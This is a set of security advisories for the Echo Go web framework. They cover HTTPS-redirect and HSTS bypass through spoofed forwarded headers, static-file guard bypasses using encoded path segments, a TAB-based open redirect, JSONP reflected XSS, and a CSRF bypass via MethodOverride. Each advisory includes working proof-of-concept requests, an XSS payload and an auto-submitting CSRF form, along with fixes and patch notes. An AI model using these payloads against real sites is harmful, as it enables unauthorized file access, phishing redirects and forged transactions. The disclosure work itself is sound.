$ curl -H "X-Url-Scheme: https" http://localhost:8080/
Hello on https

PoC 3: Arbitrary scheme in redirect URL (WWWRedirect)

func TestArbitrarySchemeInRedirect(t *testing.T) {
    e := echo.New()
    e.Pre(middleware.WWWRedirect())
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "ok")
    })

    req := httptest.NewRequest(http.MethodGet, "/", nil)
    req.Host = "example.com"
    req.Header.Set("X-Forwarded-Proto", "javascript")
    rec := httptest.NewRecorder()
    e.ServeHTTP(rec, req)

    // Redirect Location uses the spoofed scheme
    loc := rec.Header().Get("Location")
    // loc == "javascript://www.example.com/" — violates http/https contract
    t.Logf("Status: %d, Location: %s", rec.Code, loc)
}

PoC 4: HSTS Suppression

func TestHSTSSuppression(t *testing.T) {
    e := echo.New()
    e.Use(middleware.SecureWithConfig(middleware.SecureConfig{HSTSMaxAge: 31536000}))
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "ok")
    })

    // Legitimate: proxied HTTPS should have HSTS
    req := httptest.NewRequest(http.MethodGet, "/", nil)
    req.Header.Set("X-Forwarded-Proto", "https")
    rec := httptest.NewRecorder()
    e.ServeHTTP(rec, req)
    if h := rec.Header().Get("Strict-Transport-Security"); h == "" {
        t.Fatal("HSTS missing when it should be present")
    }

    // Attack: suppress HSTS by spoofing "http"
    // In production: app behind TLS-terminating proxy, proxy delivers response
    // to client over HTTPS, but HSTS header is absent due to spoofed header
    req2 := httptest.NewRequest(http.MethodGet, "/", nil)
    req2.Header.Set("X-Forwarded-Proto", "http")
    rec2 := httptest.NewRecorder()
    e.ServeHTTP(rec2, req2)
    if h := rec2.Header().Get("Strict-Transport-Security"); h == "" {
        t.Error("VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http")
    }
}

Test output (all attacks succeed)

=== RUN   TestHTTPSRedirectBypass
    Normal HTTP → 301 (redirect to https://example.com/)
    BYPASS via X-Forwarded-Proto: https → 200 (no redirect!)
    BYPASS via X-Forwarded-Protocol: https → 200 (no redirect!)
    BYPASS via X-Forwarded-Ssl: on → 200 (no redirect!)
    BYPASS via X-Url-Scheme: https → 200 (no redirect!)

=== RUN   TestArbitrarySchemeInRedirect
    Status: 301, Location: javascript://www.example.com/

=== RUN   TestHSTSSuppression
    VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http

Precedent CVEs

• CVE-2018-1193 — Cloud Foundry GoRouter: unverified X-Forwarded-Proto header trusted for scheme, enabling HTTPS enforcement bypass. Fixed by adding sanitize_forwarded_proto option.
• CVE-2025-41235 — Spring Cloud Gateway: trusting forwarded headers without explicit proxy configuration, enabling HTTPS redirect bypass. Fixed by requiring trusted proxy configuration.

Suggested fix

Option A: SchemeExtractor (recommended, backward-compatible with opt-in)

Add a SchemeExtractor mechanism analogous to the existing IPExtractor, where the extractor decides whether to trust forwarded headers based on RemoteAddr or trusted proxy ranges:

type SchemeExtractor func(req *http.Request) string

// ExtractSchemeDirect ignores all forwarded headers (secure default)
func ExtractSchemeDirect() SchemeExtractor { ... }

// ExtractSchemeFromXFFHeader trusts X-Forwarded-Proto from trusted sources
func ExtractSchemeFromXFFHeader(options ...TrustOption) SchemeExtractor { ... }

Usage:

// Secure: directly exposed, ignore headers
e.SchemeExtractor = echo.ExtractSchemeDirect()

// Behind trusted proxy
e.SchemeExtractor = echo.ExtractSchemeFromXFFHeader(
    echo.TrustIPRange(proxySubnet),
)

The default should be secure. For backward compatibility, a migration period with deprecation warnings for the legacy behavior may be appropriate.

Option B: Minimal hardening (does NOT fix the bypass, but fixes the contract violation)

Scheme() should validate that the returned value is "http" or "https", rejecting arbitrary strings. This prevents the "arbitrary scheme in redirect URL" issue but does not address the core HTTPS redirect bypass (because "https" is a valid value that the attacker injects).

Both options should be applied together.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. Context.Scheme() now uses the X-Forwarded-Proto, X-Forwarded-Protocol, X-Forwarded-Ssl and X-Url-Scheme headers only when the request comes directly from a loopback, link-local or private network address or a unix socket. When X-Forwarded-Proto is present, only its last value is used. The new Echo#SchemeExtractor selects the strategy (ExtractSchemeFromHeaders, ExtractSchemeDirect, LegacySchemeExtractor). The Secure middleware sets HSTS from Context.Scheme(), and the Proxy middleware always sets X-Forwarded-Proto and removes the other scheme headers.

Workarounds

If a proxy or load balancer connects to your application from a public address, trust its address ranges after upgrading, for example e.SchemeExtractor = echo.ExtractSchemeFromHeaders(echo.TrustIPRange(proxyRange)); otherwise HTTPSRedirect redirects in a loop. If you cannot upgrade, make sure every request passes through a proxy that overwrites X-Forwarded-Proto and removes X-Forwarded-Protocol, X-Forwarded-Ssl and X-Url-Scheme, and that the application cannot be reached directly.

Summary

Echo v5.2.0 contains a bypass of the fix for GHSA-vfp3-v2gw-7wfq. The fix rejects encoded path separators such as %2F and %5C before static file path unescaping, but two traversal forms still bypass route-level middleware protections for static files.

The primary bypass uses encoded dot-dot segments. A request such as /public/%2E%2E/admin/secret.txt passes the encoded-separator guard, is unescaped to public/../admin/secret.txt, then path.Clean resolves it to admin/secret.txt. If /admin/* is protected by middleware but the static filesystem is mounted at /, the protected file is returned through the public static route.

A second bypass exists when UseEscapedPathForMatching=true. In that mode, the router normalizes encoded separators before the static handler checks the wildcard. The handler receives a decoded wildcard with no % characters, so the encoded-separator guard does not run on the original encoded path.

Impact

An unauthenticated attacker can read files that an application intended to protect with route-level middleware, when those files are also reachable through a static filesystem mount after path normalization.

The high-severity variant works with the default router configuration and requires only encoded dot-dot path segments. The direct protected route returns 403, while the public static route returns the protected file content.

The UseEscapedPathForMatching=true variant is lower severity because it requires a non-default router configuration.

Affected versions

Tested vulnerable:

• github.com/labstack/echo/v5 v5.2.0
• Current master at 5786024ea4d85c01784796e8aa7aac53e007b39b

No patched version is currently known.

Policy and version checks

GitHub Private Vulnerability Reporting is enabled for labstack/echo. The repository has a root SECURITY.md and accepts security reports through GitHub Security Advisories.

The vulnerable code was revalidated on both current master and the latest release tag:

• Current master: 5786024ea4d85c01784796e8aa7aac53e007b39b
• Latest release: v5.2.0, published June 14 2026
• Package: github.com/labstack/echo/v5

The same focused Go tests pass on the checked out v5.2.0 / master commit, proving the bypass remains present in the latest released version and latest main branch at the time of reporting.

Reproduction

The following application shape reproduces the high-severity bypass:

e := echo.New()

g := e.Group("/admin", func(next echo.HandlerFunc) echo.HandlerFunc {
    return func(c echo.Context) error {
        return echo.NewHTTPError(http.StatusForbidden)
    }
})
g.GET("/*", handler)

e.StaticFS("/", fsysWithAdminSecret)

Control request:

GET /admin/secret.txt

Observed result:

403 Forbidden

Bypass request:

GET /public/%2E%2E/admin/secret.txt

Observed result:

200 OK
TOP-SECRET

For the non-default router variant:

e := echo.New()
e.router = echo.NewRouter(echo.RouterConfig{
    UseEscapedPathForMatching: true,
})

g := e.Group("/admin", authMiddlewareReturning403)
g.GET("/*", handler)

e.StaticFS("/", fsysWithAdminSecret)

Bypass request:

GET /public%2F..%2Fadmin%2Fsecret.txt

Observed result:

200 OK
TOP-SECRET

Proof of concept evidence

I added focused tests against the current Echo codebase. The tests exercise both StaticDirectoryHandler and the static middleware path.

Command:

go test -run TestHostile -v ./...

Observed result:

=== RUN   TestHostile_StaticDirectoryHandler_EncodedSeparatorsBlocked
--- PASS: TestHostile_StaticDirectoryHandler_EncodedSeparatorsBlocked (0.00s)
=== RUN   TestHostile_StaticDirectoryHandler_EncodedDotDotBypass
--- PASS: TestHostile_StaticDirectoryHandler_EncodedDotDotBypass (0.00s)
=== RUN   TestHostile_UseEscapedPathForMatching_Bypass
--- PASS: TestHostile_UseEscapedPathForMatching_Bypass (0.00s)
PASS
ok  github.com/labstack/echo/v5  0.013s
=== RUN   TestHostile_StaticMiddleware_EncodedSeparatorsBlocked
--- PASS: TestHostile_StaticMiddleware_EncodedSeparatorsBlocked (0.01s)
=== RUN   TestHostile_StaticMiddleware_EncodedDotDotBypass
--- PASS: TestHostile_StaticMiddleware_EncodedDotDotBypass (0.00s)
=== RUN   TestHostile_StaticMiddleware_DisablePathUnescaping
--- PASS: TestHostile_StaticMiddleware_DisablePathUnescaping (0.00s)
PASS
ok  github.com/labstack/echo/v5/middleware  0.012s

The control tests also confirm that the new fix blocks encoded separators such as %2F, %5C, double-encoded slash values, null bytes, and overlong slash encodings.

Root cause

The fix for GHSA-vfp3 uses a denylist-style guard that checks for encoded path separators before unescaping the static wildcard. This blocks %2F and %5C, but does not block encoded traversal segments such as %2E%2E.

The vulnerable flow is:

1. The static route wildcard accepts public/%2E%2E/admin/secret.txt.
2. The encoded-separator guard sees no %2F or %5C and allows the request.
3. The handler unescapes the wildcard to public/../admin/secret.txt.
4. path.Clean resolves it to admin/secret.txt.
5. The file is served through the public static route instead of the protected /admin/* route.

For UseEscapedPathForMatching=true, the router decodes the path before the static handler sees the wildcard, so the handler cannot detect that encoded separators were used in the original request.

Remediation

Do not rely only on detecting encoded separators. Reject encoded traversal sequences before unescaping, and reject normalized wildcard values that cross route or static mount boundaries.

Possible fixes:

1. Extend the pre-unescape guard to reject encoded dot segments such as %2E and %2E%2E in path components.
2. After unescaping, reject any wildcard where cleaning changes the path in a way that removes . or .. components.
3. For UseEscapedPathForMatching=true, run the static-file guard against the original escaped request path before router normalization, or preserve metadata that the matched wildcard came from encoded separators.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. The Static middleware and StaticDirectoryHandler (used by Echo.Static, Echo.StaticFS, Group.Static and Group.StaticFS) no longer serve paths with a ., .. or empty segment, including after path unescaping. The encoded variant of the first vector (/public/%2E%2E/admin/secret.txt) was already fixed in v5.2.1 and v4.15.4 (GHSA-vfp3-v2gw-7wfq).

Workarounds

Put a reverse proxy in front of the application that normalizes request paths (removes dot segments and merges slashes), or keep protected files outside the served directory.

Summary

Echo's dedicated open-redirect guard, sanitizeURI, decides whether a redirect target is a local path by inspecting exactly two byte positions: uri[0] and uri[1]. If the value begins with a control character such as a tab or a newline, followed by a separator pair, the guard does not fire and the value is written to the Location header unchanged.

Browsers remove tab and newline characters from URLs before parsing them, and treat a backslash as a forward slash for HTTP and HTTPS URLs. A Location value of /\t/attacker.example is therefore resolved by the browser as an absolute URL on attacker.example. Confirmed end to end in a headless browser.

Technical background

The guard

middleware/slash.go:144 (duplicated verbatim at echo.go:958):

func sanitizeURI(uri string) string {
	// double slash `\\`, `//` or even `\/` is absolute uri for browsers and by redirecting request to that uri
	// we are vulnerable to open redirect attack. so replace all slashes from the beginning with single slash
	if len(uri) > 1 && (uri[0] == '\\' || uri[0] == '/') && (uri[1] == '\\' || uri[1] == '/') {
		uri = "/" + strings.TrimLeft(uri, `/\`)
	}
	return uri
}

The condition is anchored at absolute offsets 0 and 1. It cannot see a separator that has been shifted by one byte.

Data flow

1. RemoveTrailingSlash (middleware/slash.go:112-140) reads url.Path, which net/http has already percent-decoded, strips the trailing slash, and appends the raw query string:

path := url.Path
...
if l > 0 && strings.HasSuffix(path, "/") {
    path = path[:l]
    uri := path
    if qs != "" {
        uri += "?" + qs
    }
    if config.RedirectCode != 0 {
        return c.Redirect(config.RedirectCode, sanitizeURI(uri))   // line 132
    }

2. AddTrailingSlash does the same in the opposite direction at middleware/slash.go:67.

3. A request for /%09/attacker.example/x/ has url.Path equal to "/\t/attacker.example/x/" (a literal TAB byte). sanitizeURI evaluates uri[0] == '\t', the condition is false, and the value passes through untouched.

4. Context.Redirect (context.go:735) writes it to the Location header. Go's header writer removes CR and LF but leaves TAB, which is all that is required.

Conditional analysis

• Guard: uri[0] and uri[1] are separators. Trust boundary: server-side sanitization of attacker-influenced path data.
• Bypass: place a single control byte before the separator pair. The separator moves to index 1 and the guard's second condition (uri[1] being a separator) is never reached because the first condition (uri[0] being a separator) already failed.
• Browser-side trust boundary: the client's URL parser. It is adversary favourable: control characters are stripped and backslashes are normalized before scheme and authority parsing. The attacker does not need any server-side weakness beyond producing the malformed Location.

Note that the newline variant does not survive: net/http replaces CR and LF in header values. TAB does survive, and TAB alone is sufficient because the browser strips it.

Proof of concept

Attached PoC: ECHO-2026-002_poc.zip (in this directory). Extract it and follow ECHO-2026-002/README.md for the full walkthrough. The archive contains a self-contained Go module (go.mod, go.sum, main.go, README.md).

ECHO-2026-002_poc.zip

Quick start:

unzip ECHO-2026-002_poc.zip
cd ECHO-2026-002
# edit go.mod: point the replace directive at your Echo checkout
sed -i 's|=> .*|=> /absolute/path/to/echo|' go.mod
GOFLAGS=-mod=mod go run .          # in-process check
GOFLAGS=-mod=mod go run . -serve   # real listener on 127.0.0.1:18002

Environment used for verification

• OS: Linux 6.18.33.2-microsoft-standard-WSL2, x86_64
• Go: go1.27.0 linux/amd64
• Target: Echo v5.3.1 (module github.com/labstack/echo/v5)
• Browser: headless Chromium drove the end-to-end confirmation

The vulnerable configuration

package main

import (
    "net/http"

    "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    e := echo.New()
    e.Pre(middleware.RemoveTrailingSlashWithConfig(middleware.RemoveTrailingSlashConfig{
        RedirectCode: http.StatusMovedPermanently,
    }))
    e.GET("/", func(c *echo.Context) error { return c.String(200, "home") })
    _ = e.Start("127.0.0.1:18002")
}

Reproduction

In-process check. The program requests five path shapes and applies the browser URL-parsing steps that matter (strip TAB, LF, CR; treat a backslash as a slash; a leading // starts an authority):

GOFLAGS=-mod=mod go run .

GET                          code   Location (control chars shown) browser navigates to
/normal/path/                301    /normal/path           (victim origin)
                             control: ordinary path, sanitized correctly
/%09/attacker.example/x/     301    /^I/attacker.example/x attacker.example
                             exploit: TAB then slash
/%09%5Cattacker.example/x/   301    /^I\attacker.example/x attacker.example
                             exploit: TAB then backslash
/..%09/attacker.example/     301    /..^I/attacker.example (victim origin)
                             NOT exploitable: TAB is not at index 1
/%09//attacker.example/      301    /^I//attacker.example  (victim origin)
                             NOT exploitable: three slashes is an empty authority

RESULT: reproducible. ...

^I is a literal TAB byte. The last two rows are deliberate negatives, included so the mechanism (the guard reads only uri[0] and uri[1]) is unambiguous.

Over the wire, with the -serve variant running on 127.0.0.1:18002:

1. Show the malformed Location on the wire. No backslash is needed for this variant:

curl -s -i --max-time 5 'http://127.0.0.1:18002/%09/attacker.example/x/' | cat -A | head -3
# HTTP/1.1 301 Moved Permanently
# Location: /^I/attacker.example/x

cat -A renders the tab as ^I, confirming it is a literal byte in the header.

2. Show that LF does NOT work, which proves the mechanism is the guard's fixed byte offsets rather than generic header injection:

curl -s -i --max-time 5 'http://127.0.0.1:18002/%0A/attacker.example/x/' | cat -A | head -3
# Location: / /attacker.example/x     (net/http rewrote LF to a space)

3. Confirm a browser leaves the origin. Start any HTTP server on port 18099, then open this URL in a browser:

http://127.0.0.1:18002/%09/127.0.0.1:18099/x/

Observed in headless Chromium:

finalUrl: http://127.0.0.1:18099/x

The browser left the victim origin entirely, so this is a working open redirect, not merely a suspicious header.

Exit status 0 means the finding reproduced; 1 means an expectation was violated.

Impact

An attacker can craft a link on the victim domain that redirects the victim to an arbitrary external site. Practical consequences:

• Phishing: the trusted domain name appears in the link and in the initial navigation, which defeats the usual "check the domain" advice.
• OAuth and SSO token theft: any flow that permits a redirect target on the trusted origin and relies on that origin's redirects being local can be chained to leak authorization codes or access tokens.
• Referrer and cache poisoning of downstream logic that treats the victim origin's redirects as trustworthy.

The client must follow the redirect (user interaction is required), which is why this is scored Medium rather than High, but open redirects on authentication-adjacent origins routinely escalate in practice.

Recommended fixes

Normalize before deciding, instead of probing two fixed offsets.

func sanitizeURI(uri string) string {
	// Strip control characters that browsers remove before parsing, so they cannot
	// be used to shift a separator out of the checked positions.
	uri = strings.Map(func(r rune) rune {
		if r < 0x20 || r == 0x7f {
			return -1
		}
		return r
	}, uri)
	// Collapse any leading separator run (both slash kinds) to a single slash.
	if strings.ContainsAny(uri[:min(len(uri), 1)], `/\`) {
		trimmed := strings.TrimLeft(uri, `/\`)
		if len(trimmed) != len(uri) {
			return "/" + trimmed
		}
	}
	return uri
}

Additional hardening:

1. Reject the request with 400 when the decoded path contains control characters, rather than attempting to sanitize. A path containing a raw TAB or NUL is malformed under RFC 3986 and has no legitimate use.
2. Apply the same normalization to the Location value in Context.Redirect so every caller benefits, instead of relying on each call site to call sanitizeURI.
3. Add a regression test for each variant (%09/, %09%5C, %0A/) against both trailing-slash middlewares. There is currently no test that asserts sanitizeURI behavior at all.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. The trailing slash middlewares and the static directory redirect percent-encode control characters in the redirect path before collapsing leading slashes, so a browser can no longer be sent to another host.

Workarounds

Use the trailing slash middlewares without RedirectCode (the default rewrites the path internally instead of redirecting), or reject request paths that contain control characters before these middlewares.

Summary

When middleware.Static is mounted globally (e.Use(middleware.Static(...))) and an application relies on a route- or group-level middleware guard to restrict a path that also falls under the served static root, a %2F-encoded request bypasses that guard while the file is still served. This is the same encoding/decoding mismatch fixed for StaticFS/StaticDirectoryHandler in CVE-2026-55677 / GHSA-vfp3-v2gw-7wfq, but the fix did not cover the middleware.Static path. In addition, the StaticConfig.EnablePathUnescaping docstring states the default configuration prevents exactly this bypass, which is inaccurate for the global-mount case.

This is not path traversal: no file outside the static root is accessed. The served file lives inside the static root; the issue is that access-control expectations set by a route guard are inconsistent between the literal and %2F-encoded forms of the same path.

Details

Root cause — the router and the static handler disagree on how to interpret %2F:

• The router matches routes on the raw, still-encoded path, so GET /admin%2Fsecret.txt does not match a /admin/... route or group; any middleware attached to that route/group is therefore skipped.
• middleware.Static selects its path source in middleware/static.go (~L219): with a global e.Use mount there is no wildcard route, so it uses c.Request().URL.Path, which net/http has already decoded (%2F → /). It then path.Cleans (~L235) and Opens (~L259) admin/secret.txt, serving the file.

Net effect: for the literal path the guard runs; for the %2F-encoded path the guard is skipped but the same file is served.

Relevant code:

• middleware/static.go ~L219 (p := c.Request().URL.Path), ~L235 (path.Clean), ~L259 (currentFS.Open)
• StaticConfig.EnablePathUnescaping docstring (static.go ~L60-67) — claims the default prevents the /admin%2fprivate.txt → /admin/* guard bypass; this is not true for the global mount.

Relationship to prior advisories:

• CVE-2026-55677 / GHSA-vfp3-v2gw-7wfq (patched 5.2.0): same %2F router-vs-handler mismatch, but fixed for StaticFS/StaticDirectoryHandler. The middleware.Static path was not covered — this report is that gap.
• CVE-2026-25766 / GHSA-pgvm-wxw2-hrv9 (patched 5.0.3): a different issue (Windows backslash traversal outside the root). Referenced only to disambiguate; not the same as this report.

PoC

Environment: golang:1.25, module using the official release (go get github.com/labstack/echo/v5@v5.3.1, no local replace). Static root public/ contains a marker file public/admin/secret.txt = SECRET.

Minimal app (the pattern under test: static served globally + a group guard intended to protect /admin):

package main

import (
	"net/http"

	"github.com/labstack/echo/v5"
	"github.com/labstack/echo/v5/middleware"
)

func main() {
	e := echo.New()
	e.Use(middleware.Static("public")) // serves ./public globally (default filesystem)

	admin := e.Group("/admin", func(next echo.HandlerFunc) echo.HandlerFunc {
		return func(c *echo.Context) error { return c.String(http.StatusUnauthorized, "auth required") }
	})
	admin.GET("/secret.txt", func(c *echo.Context) error { return c.String(http.StatusOK, "handler") })

	e.Start(":1323")
}

Requests (unauthenticated):

# Literal: route matches -> group guard runs
curl -i http://localhost:1323/admin/secret.txt
# => 401

# %2F-encoded: route does NOT match -> guard skipped, but middleware.Static serves the file
curl -i --path-as-is http://localhost:1323/admin%2Fsecret.txt
# => 200, body: SECRET

Observed on v5.3.1: literal → 401; %2F → 200 with the file contents. For contrast, serving via the (patched) e.StaticFS("/") returns 404 for the same %2F request, showing the middleware.Static path was not covered by the CVE-2026-55677 fix.

Impact

An unauthenticated remote user can retrieve a file served by middleware.Static even when the application attached a route/group middleware guard to that path, by substituting / with %2F. The consequence is limited to files already inside the served static root (CWE-863 authorization inconsistency; CWE-436 interpretation conflict) — there is no access to files outside the static root.

Honest caveat on validity / severity: this only has security impact for applications that (a) serve a directory statically to the public and (b) place a sensitive file inside that same directory while relying on a route-level guard to protect it. That combination is arguably a misconfiguration — a statically-served directory is public by design — so maintainers may reasonably classify this as a documentation fix (correct the EnablePathUnescaping claim) or won't-fix rather than a code vulnerability. It is filed primarily because (1) the router-vs-handler %2F inconsistency is the exact class fixed in CVE-2026-55677 but left uncovered for middleware.Static, and (2) the docstring currently promises protection it does not provide.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. With the default settings, the Static middleware resolves files from the same form of the path that the router matched, so percent-encoded paths such as /admin%2Fsecret.txt or /%61dmin/secret.txt no longer reach a file under a guarded route. Paths with ., .. or empty segments are no longer served.

Note: middleware registered with Echo#Use runs before route and group middleware, so route guards never protect files served by a global Static middleware. Keep protected files outside its root directory, or serve them with Echo#Static behind the guard.

Workarounds

Keep files that need protection outside the Static middleware's root directory.

Summary

The Context.JSONP, Context.JSONPBlob, and internal jsonPBlob helper in context.go directly concatenate the caller-supplied callback parameter into a JavaScript response without any validation, escaping, or allow-listing.

This creates a high-impact reflected XSS that can be triggered by any route passing attacker-controlled data (query string, form, header, path param, etc.) into the callback.

Present in current master and v5.1.0 (latest release).

Vulnerable Code (verbatim)

func (c *Context) jsonPBlob(code int, callback string, i any) (err error) {
	c.writeContentType(MIMEApplicationJavaScriptCharsetUTF8)
	c.response.WriteHeader(code)
	if _, err = c.response.Write([]byte(callback + "(")); err != nil {
		return
	}
	if err = c.echo.JSONSerializer.Serialize(c, i, ""); err != nil {
		return
	}
	if _, err = c.response.Write([]byte(");")); err != nil {
		return
	}
	return
}

func (c *Context) JSONP(code int, callback string, i any) (err error) {
	return c.jsonPBlob(code, callback, i)
}

func (c *Context) JSONPBlob(code int, callback string, b []byte) (err error) {
	c.writeContentType(MIMEApplicationJavaScriptCharsetUTF8)
	c.response.WriteHeader(code)
	if _, err = c.response.Write([]byte(callback + "(")); err != nil {
		return
	}
	if _, err = c.response.Write(b); err != nil {
		return
	}
	_, err = c.response.Write([]byte(");"))
	return
}

No sanitization is performed on the callback string.

Exploit (one-request repro)

Any route using the official pattern is vulnerable:

Goe.GET("/api", func(c echo.Context) error {
    return c.JSONP(200, c.QueryParam("callback"), map[string]string{"status": "ok"})
})

Attacker request:

GET /api?callback=alert(document.domain)%2f%2f HTTP/1.1
Host: target.com

Server response:

Content-Type: application/javascript; charset=utf-8

alert(document.domain)//({"status":"ok"});

→ Immediate arbitrary JavaScript execution (full reflected XSS).

Impact

• Session hijacking, cookie theft, account takeover, keylogging, defacement.
• Works even with strict CSP (response is served as application/javascript).

Affected Versions

• All versions ≤ v5.1.0 (including current master)

Workarounds

Manually sanitize the callback before calling JSONP/JSONPBlob:

Gofunc safeCallback(cb string) string {
    if matched, _ := regexp.MatchString(`^[a-zA-Z0-9_.\[\]]+$`, cb); !matched {
        return "callback"
    }
    return cb
}

Or migrate away from JSONP entirely (use CORS + application/json).

References

• https://github.com/labstack/echo/blob/master/context.go
• https://echo.labstack.com/docs/cookbook/jsonp

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. Context.JSONP and Context.JSONPBlob accept only a callback that is empty, a JavaScript identifier or a dot-separated path of identifiers (ASCII letters, digits, _ and $); any other callback returns a 400 Bad Request error wrapping ErrInvalidJSONPCallback and nothing is written. JSONP responses also carry X-Content-Type-Options: nosniff.

Workarounds

Validate the callback in your handler before calling Context.JSONP, for example against ^[A-Za-z_$][A-Za-z0-9_$]*(\.[A-Za-z_$][A-Za-z0-9_$]*)*$, and set X-Content-Type-Options: nosniff. JSONP responses can be read by any website with the user's cookies, so do not serve data that requires authentication through JSONP.

Summary

The MethodOverride middleware accepts any non-empty string as the override target method — including safe methods (GET, HEAD, OPTIONS, TRACE) — when rewriting a POST request. When MethodOverride is registered before CSRF in the post-routing middleware chain (e.Use()), it rewrites the request method to a safe method before CSRF evaluates it. The CSRF middleware then skips token validation for the now-safe method, allowing state-changing POST handlers to execute without any CSRF check. Both the legacy token path and the modern Sec-Fetch-Site protection path are bypassed simultaneously.

Affected Component

• middleware/method_override.go — MethodOverrideConfig.ToMiddleware() (lines 55–71): no whitelist on the override target method
• middleware/csrf.go — CSRFConfig.ToMiddleware() (lines 188–189): safe-method bypass branch reads the already-rewritten method
• middleware/csrf.go — checkSecFetchSiteRequest() (line 283): Sec-Fetch-Site safe check also reads the rewritten method

Description

MethodOverride accepts safe methods as override targets

MethodOverrideConfig.ToMiddleware() (method_override.go:55-71) restricts the source method (only POST requests are overrideable) but applies no whitelist to the target:

// method_override.go:61-67
req := c.Request()
if req.Method == http.MethodPost {
    m := config.Getter(c)
    if m != "" {
        req.Method = m   // ← any non-empty string accepted, including "GET"
    }
}

The docstring's security claim — "For security reasons, only POST method can be overridden" — refers only to the source-method restriction. There is no guard preventing POST from being rewritten to GET, HEAD, OPTIONS, or TRACE. The test suite (method_override_test.go) only tests POST→DELETE and POST→PUT; POST→GET is never tested or blocked.

CSRF safe-method branch reads the already-rewritten method

CSRFConfig.ToMiddleware() (csrf.go:188-189) makes its validation decision based on c.Request().Method at the time it runs:

// csrf.go:188-189
switch c.Request().Method {
case http.MethodGet, http.MethodHead, http.MethodOptions, http.MethodTrace:
    // skip validation — no token check
default:
    // validate CSRF token

If MethodOverride has already run and set req.Method = "GET", this switch falls into the skip branch regardless of the original HTTP method or what handler was matched.

The Sec-Fetch-Site-based path in checkSecFetchSiteRequest() (csrf.go:283) is identically vulnerable:

// csrf.go:283
isSafe := slices.Contains(safeMethods, c.Request().Method)

With req.Method = "GET" (already rewritten), isSafe = true and the function returns true — the request is allowed even when Sec-Fetch-Site is cross-site. Both CSRF protection paths are bypassed in a single step.

Execution chain

In echo.go:700, routing and middleware wrapping are performed in one step:

h = applyMiddleware(e.router.Route(c), e.middleware...)

1. e.router.Route(c) evaluates with req.Method = "POST" → matches and binds the POST /transfer handler
2. applyMiddleware wraps it: MethodOverride → CSRF → postHandler

At request execution time: 3. MethodOverride runs: req.Method == "POST" → reads form field _method = "GET" → req.Method = "GET" → calls next 4. CSRF runs: c.Request().Method = "GET" → case http.MethodGet → skips token validation → calls next 5. postHandler runs (the handler matched in step 1 — the original POST /transfer state-change handler)

The state-changing handler executes with no CSRF token validation and with no Sec-Fetch-Site check.

The missing target-method whitelist is the root cause

The legitimate use case for MethodOverride is allowing HTML forms (which only support GET/POST) to send PUT, DELETE, or PATCH requests. There is no legitimate scenario in which an HTML form needs to rewrite POST to GET — that can always be expressed as an ordinary GET request. Allowing POST→GET (and HEAD/OPTIONS/TRACE) serves no valid purpose and is inherently dangerous when any safe-method-aware security middleware (CSRF, logging, audit) appears downstream.

Proof of Concept

package main

import (
    "net/http"
    echo "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    e := echo.New()
    // MethodOverride before CSRF — both in e.Use() (post-routing)
    e.Use(middleware.MethodOverrideWithConfig(middleware.MethodOverrideConfig{
        Getter: middleware.MethodFromForm("_method"),
    }))
    e.Use(middleware.CSRF())
    e.POST("/transfer", func(c *echo.Context) error {
        return c.String(http.StatusOK, "transfer executed")
    })
    e.Logger.Fatal(e.Start(":18080"))
}

# Baseline — CSRF correctly blocks a POST without a valid token
curl -i -X POST 'http://127.0.0.1:18080/transfer' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'amount=100'
# HTTP/1.1 400 Bad Request (missing CSRF token)

# Bypass — _method=GET rewrites method before CSRF runs, skipping token validation
curl -i -X POST 'http://127.0.0.1:18080/transfer' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data '_method=GET&amount=100'
# HTTP/1.1 200 OK
# transfer executed

# Browser-based CSRF PoC (attacker's page, auto-submits on load):
# <form method="POST" action="https://victim.example/transfer" id="f">
#   <input name="_method" value="GET">
#   <input name="amount" value="1000">
#   <input name="to" value="attacker_account">
# </form>
# <script>document.getElementById('f').submit();</script>

The same bypass works with MethodFromHeader (X-HTTP-Method-Override: GET) and MethodFromQuery (?_method=GET).

Impact

• Any state-changing endpoint protected by CSRF() is reachable without a valid CSRF token when the vulnerable middleware ordering is present
• The Sec-Fetch-Site modern-browser CSRF protection is bypassed simultaneously — browsers that support Sec-Fetch-Site provide no additional defense
• Applicable attacks include: fund transfers, password/email changes, account deletion, privilege escalation, data manipulation — any POST-protected operation
• Audit logs may record GET as the HTTP method for what were actually state-changing operations

Recommended Remediation

Option 1: Whitelist only unsafe methods as override targets in MethodOverride (preferred)

The root cause is that MethodOverride accepts safe methods as targets. Restricting the override to legitimately overrideable methods (PUT, PATCH, DELETE) closes the bypass regardless of middleware ordering:

// method_override.go — illustrative fix
var allowedOverrideMethods = map[string]bool{
    http.MethodPut:    true,
    http.MethodPatch:  true,
    http.MethodDelete: true,
}

// in ToMiddleware:
if req.Method == http.MethodPost {
    m := config.Getter(c)
    if m != "" && allowedOverrideMethods[m] {
        req.Method = m
    }
}

Option 2: Use e.Pre() for MethodOverride and document the ordering requirement

Placing MethodOverride in e.Pre() (pre-routing middleware) causes the router to match the overridden method, not the original POST. If only POST /transfer is registered, a POST-to-GET override results in a 405/404 — the handler never executes. Add an explicit documentation warning that MethodOverride must not be placed in e.Use() when CSRF middleware is also registered:

// MethodOverride returns a MethodOverride middleware.
//
// IMPORTANT: Register this middleware with e.Pre(), not e.Use().
// If registered with e.Use() before CSRF middleware, method rewriting
// occurs after route matching but before CSRF validation, allowing
// attackers to bypass CSRF token checks by specifying _method=GET.
func MethodOverride() echo.MiddlewareFunc {

Option 1 is strongly preferred as it closes the vulnerability at the source and is safe regardless of middleware placement.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Patches

